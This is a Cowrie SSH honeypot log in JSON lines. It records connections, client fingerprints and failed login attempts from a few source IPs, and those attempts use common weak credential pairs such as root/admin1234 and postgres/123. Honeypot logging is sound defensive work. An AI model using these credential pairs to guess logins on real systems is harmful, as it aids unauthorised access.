{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:30.879345Z","src_ip":"192.109.200.78","session":"bcb01cf35dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":33348,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ece4a24f505","protocol":"ssh","message":"New connection: 92.207.4.157:33348 (159.203.135.109:22) [session: 8ece4a24f505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.401906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.405846Z","src_ip":"92.207.4.157","session":"8ece4a24f505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.505659Z","src_ip":"92.207.4.157","session":"8ece4a24f505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33068,"dst_ip":"10.17.0.5","dst_port":22,"session":"754bf19e870d","protocol":"ssh","message":"New connection: 192.109.200.78:33068 (10.17.0.5:22) [session: 754bf19e870d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.747861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.752016Z","src_ip":"192.109.200.78","session":"754bf19e870d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.833153Z","src_ip":"192.109.200.78","session":"754bf19e870d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456.","message":"login attempt [root/aA123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:32.921130Z","src_ip":"92.207.4.157","session":"8ece4a24f505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:33.083697Z","src_ip":"192.109.200.78","session":"754bf19e870d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:34.018134Z","src_ip":"92.207.4.157","session":"8ece4a24f505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:34.166200Z","src_ip":"192.109.200.78","session":"754bf19e870d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33082,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82f1992d7c4","protocol":"ssh","message":"New connection: 192.109.200.78:33082 (10.17.0.5:22) [session: e82f1992d7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:36.317240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:36.321191Z","src_ip":"192.109.200.78","session":"e82f1992d7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:36.403216Z","src_ip":"192.109.200.78","session":"e82f1992d7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:36.646518Z","src_ip":"192.109.200.78","session":"e82f1992d7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:37.730526Z","src_ip":"192.109.200.78","session":"e82f1992d7c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33090,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d1dc5ebab0","protocol":"ssh","message":"New connection: 192.109.200.78:33090 (10.17.0.5:22) [session: 14d1dc5ebab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:39.937108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:39.939695Z","src_ip":"192.109.200.78","session":"14d1dc5ebab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:40.019718Z","src_ip":"192.109.200.78","session":"14d1dc5ebab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:40.263381Z","src_ip":"192.109.200.78","session":"14d1dc5ebab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:41.385381Z","src_ip":"192.109.200.78","session":"14d1dc5ebab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44466,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ade7945eeeb","protocol":"ssh","message":"New connection: 192.109.200.78:44466 (10.17.0.5:22) [session: 4ade7945eeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:43.278941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:43.282523Z","src_ip":"192.109.200.78","session":"4ade7945eeeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:43.362950Z","src_ip":"192.109.200.78","session":"4ade7945eeeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:43.841540Z","src_ip":"192.109.200.78","session":"4ade7945eeeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:44.925105Z","src_ip":"192.109.200.78","session":"4ade7945eeeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44474,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb0dd8c27b5","protocol":"ssh","message":"New connection: 192.109.200.78:44474 (10.17.0.5:22) [session: acb0dd8c27b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:46.906337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:46.910093Z","src_ip":"192.109.200.78","session":"acb0dd8c27b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:46.990692Z","src_ip":"192.109.200.78","session":"acb0dd8c27b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:47.232556Z","src_ip":"192.109.200.78","session":"acb0dd8c27b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:48.316523Z","src_ip":"192.109.200.78","session":"acb0dd8c27b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44486,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff03d4f3c408","protocol":"ssh","message":"New connection: 192.109.200.78:44486 (10.17.0.5:22) [session: ff03d4f3c408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:50.270425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:50.273704Z","src_ip":"192.109.200.78","session":"ff03d4f3c408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:50.355324Z","src_ip":"192.109.200.78","session":"ff03d4f3c408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:50.597990Z","src_ip":"192.109.200.78","session":"ff03d4f3c408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:51.837552Z","src_ip":"192.109.200.78","session":"ff03d4f3c408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39386,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe2a451328d","protocol":"ssh","message":"New connection: 192.109.200.78:39386 (10.17.0.5:22) [session: 9fe2a451328d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:53.568649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:53.571864Z","src_ip":"192.109.200.78","session":"9fe2a451328d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:53.652803Z","src_ip":"192.109.200.78","session":"9fe2a451328d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:54.181388Z","src_ip":"192.109.200.78","session":"9fe2a451328d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:55.265007Z","src_ip":"192.109.200.78","session":"9fe2a451328d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39402,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a42d0eec61","protocol":"ssh","message":"New connection: 192.109.200.78:39402 (10.17.0.5:22) [session: c9a42d0eec61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:57.198410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:57.201742Z","src_ip":"192.109.200.78","session":"c9a42d0eec61","protocol":"ssh"}
